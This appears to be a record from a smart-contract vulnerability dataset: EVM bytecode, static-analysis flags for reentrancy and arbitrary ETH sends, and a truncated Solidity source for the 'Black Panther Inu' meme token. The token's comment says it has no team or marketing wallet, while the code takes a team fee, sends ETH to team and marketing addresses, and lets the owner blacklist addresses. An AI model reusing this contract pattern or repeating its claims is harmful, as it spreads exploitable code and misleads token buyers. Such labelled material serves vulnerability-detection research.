1614610d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3390612f7c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd861127b565b73ffffffffffffffffffffffffffffffffffffffff1614610df857600080fd5b6000479050610e0681611c71565b50565b6000610e53600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b610e6261127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4341544f52414900000000000000000000000000000000000000000000000000815250905090565b600061102761102061127b565b848461144e565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107261127b565b73ffffffffffffffffffffffffffffffffffffffff161461109257600080fd5b600061109d30610e09565b90506110a881611dda565b50565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f7c565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f3c565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612efc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f9c565b60405180910390fd5b611579610fad565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610fad565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffc565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b601e42611a4c9190613152565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610e09565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e7a565b60405180910390fd5b5060008385611c649190613233565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612edc565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613408565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c1565b81600181518110611f4657611f456133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613037565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d9565b905082848261209291906131a8565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f5c565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123f0565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e7a565b60405180910390fd5b50600083856121d591906131a8565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612452565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612562565b61236e848361261f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612426683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244557600654683635c9adc5dea0000093509350505061244e565b81819350935050505b9091565b600080600080600080600080600061246f8a600854600954612659565b925092509250600061247f612154565b905060008060006124928e8787876126ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125139190613152565b905083811015612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90612f1c565b60405180910390fd5b8091505092915050565b600061256c612154565b90506000612583828461206290919063ffffffff16565b90506125d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612634826006546124ba90919063ffffffff16565b60068190555061264f8160075461250490919063ffffffff16565b6007819055505050565b6000806000806126856064612677888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126af60646126a1888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d8826126ca858c6124ba90919063ffffffff16565b6124ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612708858961206290919063ffffffff16565b9050600061271f868961206290919063ffffffff16565b90506000612736878961206290919063ffffffff16565b9050600061275f8261275185876124ba90919063ffffffff16565b6124ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278b612786846130d1565b6130ac565b905080838252602082019050828560208602820111156127ae576127ad61343c565b5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f781613752565b92915050565b60008151905061280c81613752565b92915050565b600082601f83011261282757612826613437565b5b8135612837848260208601612778565b91505092915050565b60008135905061284f81613769565b92915050565b60008151905061286481613769565b92915050565b60008135905061287981613780565b92915050565b60008151905061288e81613780565b92915050565b6000602082840312156128aa576128a9613446565b5b60006128b8848285016127e8565b91505092915050565b6000602082840312156128d7576128d6613446565b5b60006128e5848285016127fd565b91505092915050565b6000806040838503121561290557612904613446565b5b6000612913858286016127e8565b9250506020612924858286016127e8565b9150509250929050565b60008060006060848603121561294757612946613446565b5b6000612955868287016127e8565b9350506020612966868287016127e8565b92505060406129778682870161286a565b9150509250925092565b6000806040838503121561299857612997613446565b5b60006129a6858286016127e8565b92505060206129b78582860161286a565b9150509250929050565b6000602082840312156129d7576129d6613446565b5b600082013567ffffffffffffffff8111156129f5576129f4613441565b5b612a0184828501612812565b91505092915050565b600060208284031215612a2057612a1f613446565b5b6000612a2e84828501612840565b91505092915050565b600060208284031215612a4d57612a4c613446565b5b6000612a5b84828501612855565b91505092915050565b600060208284031215612a7a57612a79613446565b5b6000612a888482850161286a565b91505092915050565b600080600060608486031215612aaa57612aa9613446565b5b6000612ab88682870161287f565b9350506020612ac98682870161287f565b9250506040612ada8682870161287f565b9150509250925092565b6000612af08383612afc565b60208301905092915050565b612b0581613267565b82525050565b612b1481613267565b82525050565b6000612b258261310d565b612b2f8185613130565b9350612b3a836130fd565b8060005b83811015612b6b578151612b528882612ae4565b9750612b5d83613123565b925050600181019050612b3e565b5085935050505092915050565b612b8181613279565b82525050565b612b90816132bc565b82525050565b6000612ba182613118565b612bab8185613141565b9350612bbb8185602086016132ce565b612bc48161344b565b840191505092915050565b6000612bdc602383613141565b9150612be78261345c565b604082019050919050565b6000612bff601a83613141565b9150612c0a826134ab565b602082019050919050565b6000612c22602a83613141565b9150612c2d826134d4565b604082019050919050565b6000612c45602283613141565b9150612c5082613523565b604082019050919050565b6000612c68601b83613141565b9150612c7382613572565b602082019050919050565b6000612c8b601d83613141565b9150612c968261359b565b602082019050919050565b6000612cae602183613141565b9150612cb9826135c4565b604082019050919050565b6000612cd1602083613141565b9150612cdc82613613565b602082019050919050565b6000612cf4602983613141565b9150612cff8261363c565b604082019050919050565b6000612d17602583613141565b9150612d228261368b565b604082019050919050565b6000612d3a602483613141565b9150612d45826136da565b604082019050919050565b6000612d5d601183613141565b9150612d6882613729565b602082019050919050565b612d7c816132a5565b82525050565b612d8b816132af565b82525050565b6000602082019050612da66000830184612b0b565b92915050565b6000604082019050612dc16000830185612b0b565b612dce6020830184612b0b565b9392505050565b6000604082019050612dea6000830185612b0b565b612df76020830184612d73565b9392505050565b600060c082019050612e136000830189612b0b565b612e206020830188612d73565b612e2d6040830187612b87565b612e3a6060830186612b87565b612e476080830185612b0b565b612e5460a0830184612d73565b979650505050505050565b6000602082019050612e746000830184612b78565b92915050565b60006020820190508181036000830152612e948184612b96565b905092915050565b60006020820190508181036000830152612eb581612bcf565b9050919050565b60006020820190508181036000830152612ed581612bf2565b9050919050565b60006020820190508181036000830152612ef581612c15565b9050919050565b60006020820190508181036000830152612f1581612c38565b9050919050565b60006020820190508181036000830152612f3581612c5b565b9050919050565b60006020820190508181036000830152612f5581612c7e565b9050919050565b60006020820190508181036000830152612f7581612ca1565b9050919050565b60006020820190508181036000830152612f9581612cc4565b9050919050565b60006020820190508181036000830152612fb581612ce7565b9050919050565b60006020820190508181036000830152612fd581612d0a565b9050919050565b60006020820190508181036000830152612ff581612d2d565b9050919050565b6000602082019050818103600083015261301581612d50565b9050919050565b60006020820190506130316000830184612d73565b92915050565b600060a08201905061304c6000830188612d73565b6130596020830187612b87565b818103604083015261306b8186612b1a565b905061307a6060830185612b0b565b6130876080830184612d73565b9695505050505050565b60006020820190506130a66000830184612d82565b92915050565b60006130b66130c7565b90506130c28282613301565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb613408565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132a5565b9150613168836132a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61337b565b5b828201905092915050565b60006131b3826132a5565b91506131be836132a5565b9250826131ce576131cd6133aa565b5b828204905092915050565b60006131e4826132a5565b91506131ef836132a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761337b565b5b828202905092915050565b600061323e826132a5565b9150613249836132a5565b92508282101561325c5761325b61337b565b5b828203905092915050565b600061327282613285565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c7826132a5565b9050919050565b60005b838110156132ec5780820151818401526020810190506132d1565b838111156132fb576000848401525b50505050565b61330a8261344b565b810181811067ffffffffffffffff8211171561332957613328613408565b5b80604052505050565b600061333d826132a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133705761336f61337b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375b81613267565b811461376657600080fd5b50565b61377281613279565b811461377d57600080fd5b50565b613789816132a5565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8e9534970996654cc30719c6265e9a4d40deed81fa96b753fd846c4fc6daa8164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,373
0x98fd637c209d0afb5fafb20738041c289d1429fc
/** *Submitted for verification at Etherscan.io on 2021-07-12 */ /** *Submitted for verification at Etherscan.io on 2021-06-04 */ /* Welcome to $BlackPantherInu This is our First Legendary Token Launch, $WTFMYOBU. Same Tokenometrics as Myobu, More Hype. Myobu Dev Will be Compensated with a % of the Team's Wallet. Join our Telegram: https://t.me/BlackPantherInu Trade Responsibly! Wakanda Forever ! ---------------------------------------------- https://t.me/MyobuOfficial https://myobu.io https://twitter.com/MyobuOfficial https://www.reddit.com/r/Myobu/ Myōbu are celestial fox spirits with white fur and full, fluffy tails reminiscent of ripe grain. They are holy creatures, and bring happiness and blessings to those around them. With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping. 1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade. 3. No presale wallets that can dump on the community. Token Information 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. 0,2% transaction limit on launch 6. Buy limit lifted after launch 7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 2% redistribution to holders on all buys 10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-6% developer fee split within the team ..` `.. /dNdhmNy. .yNmhdMd/ yMMdhhhNMN- -NMNhhhdMMy oMMmhyhhyhMN- -NMhyhhyhmMMs /MMNhs/hhh++NM+ +MN++hhh/shNMM/ .NMNhy`:hyyh:-mMy` `yMm::hyyh:`yhNMN. `mMMdh. -hyohy..yNh.`............`.yNy..yhoyh- .hdMMm` hMMdh: .hyosho...-:--------------:-...ohsoyh. :hdMMh oMMmh+ .hyooyh/...-::---------:::-.../hyooyh. +hmMMo /MMNhs `hyoooyh-...://+++oo+++//:...-hyoooyh` shNMM/ .NMNhy` hhoooshysyhhhhhhhhhhhhhhhhysyhsooohh `yhNMN- `mMMdh. yhsyhyso+::-.```....```.--:/osyhyshy .hdMMm` yMMmh/ -so/-` .. `-/os- /hmMMh /MMyhy .` `` `. shyMM/ mN/+h/ /h+/Nm :N:.sh. .hs.:N/ s-./yh` `hy/.-s .`:/yh` `hy/:`- ``-//yh- .hy//-`` ``://oh+ ` ` +ho//:`` ``.://+yy` `+` `+` `yh+//:.`` ``-///+oho /y: :y/ ohs+///-`` ``:////+sh/ `` `yhs- -shy` `` /hs+////:`` ``:////++sh/ ```:syhs- -shys:``` /hs++////:`` ``://///++sho` `.-/+o/. ./o+/-.` `+hs++/////:`` ``://///+++oyy- ``..--. .--..`` -yyo+++/////:`` ``-/////+++++shs. ``... ...`` .ohs+++++/////-`` ``/////+++++++shs- ..` `.. -shs+++++++/////`` ``-/////++++++++oys- ..` `.. -syo++++++++/////-`` ``:////++++:-....+yy: .. .. :yy+....-:++++////:`` `.////+++:-......./yy: .. .. :yy/.......-:+++////.` `.////++ooo+/-...../yy/` .` `. `/yy/.....-/+ooo++////.` `.////+++oooos+/:...:sy/` . . `/ys:...:/+soooo+++////.` `.:////+++++ooooso/:.:sh+` . . `+hs:.:/osoooo+++++////:.` `-//////++++++ooooso++yh+....+hy++osoooo++++++//////-` `.:///////+++++++oooossyhoohyssoooo++++++////////:.` .:/+++++++++++++++ooosyysooo++++++++++++++//:. `-/+++++++++++++++oooooo+++++++++++++++/-` .-/++++++++++++++++++++++++++++++/-. `.-//++++++++++++++++++++//-.` `..-::://////:::-..` SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Myobu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Black Panther Inu"; string private constant _symbol = "BP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 